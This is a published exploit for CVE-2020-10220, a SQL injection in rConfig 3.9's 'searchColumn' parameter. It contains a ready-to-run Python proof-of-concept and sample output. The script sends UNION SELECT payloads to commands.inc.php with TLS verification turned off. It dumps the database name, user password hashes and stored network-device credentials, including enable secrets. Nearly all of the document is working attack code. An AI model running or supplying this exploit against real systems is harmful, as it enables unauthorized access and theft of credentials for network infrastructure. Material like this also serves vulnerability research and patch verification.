rConfig 3.9 – ‘searchColumn’ SQL Injection
# Exploit Title: rConfig 3.9 - 'searchColumn' SQL Injection # Exploit Author: vikingfr # Date: 2020-03-03 # CVE-2020-10220 # Exploit link : https://github.com/v1k1ngfr/exploits-rconfig/blob/master/rconfig_CVE-2020-10220.py # Vendor Homepage: https://rconfig.com/ (see also : https://github.com/rconfig/rconfig) # Software Link : https://www.rconfig.com/downloads/rconfig-3.9.4.zip # Install scripts : # https://www.rconfig.com/downloads/scripts/install_rConfig.sh # https://www.rconfig.com/downloads/scripts/centos7_install.sh # https://www.rconfig.com/downloads/scripts/centos6_install.sh # Version: tested v3.9.4 # Tested on: Apache/2.4.6 (CentOS 7.7) OpenSSL/1.0.2k-fips PHP/7.2.24 # # Notes : If you want to reproduce in your lab environment follow those links : # http://help.rconfig.com/gettingstarted/installation # then # http://help.rconfig.com/gettingstarted/postinstall # # $ python3 rconfig_sqli.py https://1.1.1.1 # rconfig 3.9 - SQL Injection PoC # [+] Triggering the payloads on https://1.1.1.1/commands.inc.php # [+] Extracting the current DB name : # rconfig2 # [+] Extracting 10 first users : # admin:1:63a9f0ea7bb98050796b649e85481845 # Maybe no more information ? # Maybe no more information ? # [snip] # [+] Extracting 10 first devices : # 127-0-0-1:127.0.0.1::ocdvulnpass: # deviceTestName:1.1.1.1:myusertest:mysecret:myenablesecret # Maybe no more information ? # Maybe no more information ? # [snip] # Done #!/usr/bin/python3 import requests import sys import urllib.parse from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) print ("rconfig 3.9 - SQL Injection PoC") if len(sys.argv) != 2: print ("[+] Usage : ./rconfig_exploit.py https://target") exit() vuln_page="/commands.inc.php" vuln_parameters="?searchOption=contains&searchField=vuln&search=search&searchColumn=command" given_target = sys.argv[1] target = given_target target += vuln_page target += vuln_parameters request = requests.session() dashboard_request = request.get(target+vuln_page, allow_redirects=False, verify=False) def extractDBinfos(myTarget=None,myPayload=None): """ Extract information from database Args: - target+payload (String) Returns: - payload result (String) """ result = "" encoded_request = myTarget+myPayload exploit_req = request.get(encoded_request) if '[PWN]' in str(exploit_req.content): result = str(exploit_req.content).split('[PWN]')[1] else: result="Maybe no more information ?" return result if dashboard_request.status_code != 404: print ("[+] Triggering the payloads on "+given_target+vuln_page) # get the db name print ("[+] Extracting the current DB name :") db_payload = "%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,database(),0x5B50574E5D3C42523E)%20limit%200,1),NULL--" db_name = extractDBinfos(target,db_payload) print (db_name) # DB extract users print ("[+] Extracting 10 first users :") for i in range (0, 10): user1_payload="%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,username,0x3A,id,0x3A,password,0x5B50574E5D3C42523E)%20FROM%20"+db_name+".users+limit+"+str(i)+","+str(i+1)+"),NULL--" user_h = extractDBinfos(target,user1_payload) #print ("[+] Dump device "+str(i)) print (user_h) # DB extract devices information print ("[+] Extracting 10 first devices :") for i in range (0, 10): device_payload="%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,deviceName,0x3A,deviceIpAddr,0x3A,deviceUsername,0x3A,devicePassword,0x3A,deviceEnablePassword,0x5B50574E5D3C42523E)%20FROM%20"+db_name+".nodes+limit+"+str(i)+","+str(i+1)+"),NULL--" device_h = extractDBinfos(target,device_payload) #print ("[+] Dump device "+str(i)) print (device_h) print ("Done") else: print ("[-] Please verify the URI") exit() |